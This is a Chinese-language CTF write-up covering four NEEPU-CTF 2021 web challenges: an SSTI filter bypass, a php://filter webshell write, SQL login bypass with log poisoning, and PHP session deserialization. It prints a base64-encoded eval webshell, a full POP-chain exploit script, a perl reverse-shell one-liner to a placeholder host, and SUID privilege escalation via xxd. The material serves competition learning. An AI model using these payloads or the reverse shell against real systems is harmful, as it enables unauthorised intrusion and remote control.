zoukankan      html  css  js  c++  java
  • NEEPU-CTF 2021 Web后四题Writeup

    The_myth_of_Aladdin

    考点:SSTI、个别字符过滤、命令过滤

    这题感觉是安洵杯2020那题SSTI的简化版,这里过滤的东西不是特别多,主要是过滤了空格卡了好久(没发现,呜呜呜)。这里过滤了{{可以使用{%print%}替代、.可以使用[]替换、_可以使用Unicode编码替换,但是好像还过滤一些命令,这里我是用base64 /f*的方式。背景的小姐姐很好看,爱了爱了!

    image-20210522120030495

    upload_club

    考点:php://filter协议文件包含、df绕过

    感觉这里是我做出来的几题中最好的,这里先讲一下思路:上传一个一句话木马的文件,然后包含它即可。

    接着说一下遇到的几个考点:

    ​ 1.这里利用了file_get_contents('php://input')方式获取了POST的所有内容,然后去匹配,如果存在25则结束,但是这里有个缺陷,如果POST上传的形式不是application/x-www-form-urlencoded而是multipart/form-data则获取不到POST请求参数可以绕过这里。

    image-20210523235941462

    ​ 2.这里有个neepu_sec.clubPOST请求的参数如果直接写的话是不行,不过可以写脚本简单遍历一下

    image-20210524000407795

    import requests
    
    url = "http://127.0.0.1/ceshi/a.php"
    
    for i in range(32,128):
        for j in range(32,128):
            data = {
                'neepu'+chr(i)+'sec'+chr(j)+'club':123
            }
            res = requests.post(url=url,data=data)
            if "neepu_sec.club" in res.text:
                print 'neepu'+chr(i)+'sec'+chr(j)+'club'
                exit(0)
                
    #PHP代码:<?var_dump($_POST);?>
    

    ​ 3.其实这步就简单了,因为我们已经绕过了第1点的限制了,所以这里变的很简单,可以直接使用编码绕过base64string,使用php伪协议php://filter,但是需要写入文件,这里我利用的过滤器是string.strip_tags|convert.base64-decode,最后resource配置为?>PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt,这里使用?>闭合前面的php代码,则他们都会被string.strip_tags过滤器删除,接着base64过滤器将剩下的字符进行解码,则获得一句话木马

    image-20210524000807400

    ​ 4.这里看似不能用<?php,但是如果文件是以<?开头则可以绕过,而不能用php的话,使用短标签<?=?>即可

    image-20210524001721799

    image-20210524002159586

    好像就没啥可以说的,接下来是详细步骤

    先上传了一句话木马

    image-20210523001313665

    然后去包含它,执行phpinfo()时发现过滤好多函数,看来是要绕过df了

    image-20210523001342255

    这里利用了之前朋友给的一个绕php7的df文件,将它通过file_put_contents函数写入。

    image-20210523001059003

    访问根目录下,有个getflag的文件,执行就获得flag

    image-20210523001035179

    gamebox

    考点:SQL万能密码、日志包含Getshell

    上来是一个登陆框(只有username),猜测后台的SQL语句为select * from user where username = '$username',这里ban了好多字符,如or||#--等等,这里把可以通过1'=1='0登陆上去

    接着就是猜正反了,emmm这个我真没啥想法,纯靠硬猜就过了,原本以为就给flag了,可惜没有。不过看到了URL就感觉是文件包含了,这里连想到了日志包含

    image-20210524200829249

    先判断好日志的位置

    image-20210524200750642

    接着上传一句话木马

    image-20210524201000281

    接着测试一下一句话木马是否可用

    image-20210524201144938

    最后通过蚁剑拿到flag

    image-20210524201309128

    serialize_club

    考点:任意文件读取、session反序列化、Linux下的SUID提权

    是一个站点,页面上没有看到什么有用的信息,于是看了一下源代码。又是一个文件包含的漏洞,尝试读index.php文件源码。

    image-20210524202621552

    这里发现代码做了base64编码,解码一下就可以了

    image-20210524202902213

    在源码中看到了这个,知道是session反序列化漏洞

    image-20210524203116240

    构造一下POP链,代码如下

    <?php
    error_reporting(0);
    class backdoor {
        protected
            //! eval code
            $cmd = 'eval($_POST[1]);?>';
    }
    class neepu {
        protected
            //! Neepu
            $neepu,
            //! Memory-held data
            $data,
            //! Info
            $info;
        public function setneepu($a){
            $this->neepu = $a;
        }
        public function setinfo($a){
            $this->info['info'] = $a;
        }
    }
    class n33pu {
        public
            //! Neepu func
            $func;
    }
    class dumb {
        public
            //! dumb
            $dumb;
    }
    
    $back = new backdoor();
    $n33 = new n33pu();
    $n33->func = $back;
    
    $neepu1 = new neepu();
    $neepu1->setinfo($n33);
    
    $neepu2 = new neepu();
    $neepu2->setneepu($neepu1);
    
    $dump = new dumb();
    $dump->dumb = $neepu2;
    
    var_dump(str_replace("s","S",str_replace("x00","\00",serialize($dump))));
    

    接着把序列化的字符串上传了,这里可能会失败,多发一些包,然后多尝试几次就可以了

    image-20210524215524742

    连上靶机后,这里想反弹shell的,但是一般的bashpythonphp都失败了,呜呜呜。

    image-20210524220027901

    最后在网上找了一个perl反弹shell的脚本

    perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
    

    接着这里用了find命令查看一下可能存在SUID权限的命令,发现xxd是可以的,然后是通过取巧的方式,因为问了管理员flag的位置,他跟我说在/root下,所以这里直接用去看了flag。

    image-20210524214820196

  • 相关阅读:
    signalr推送消息
    WebApi2跨域问题
    iTextSharp生成pdf的一个简单例子
    遇到的错误记录
    AutoMapper用法
    visual studio 2015中的webapi生成helpPage,页面不显示方法说明问题解决
    visualstudio 2013 mysql entityframework :实体模型无法添加,闪退
    webapi相关知识
    2016年4月14日
    2016年4月13日
  • 原文地址:https://www.cnblogs.com/erR0Ratao/p/14806464.html
Copyright © 2011-2022 走看看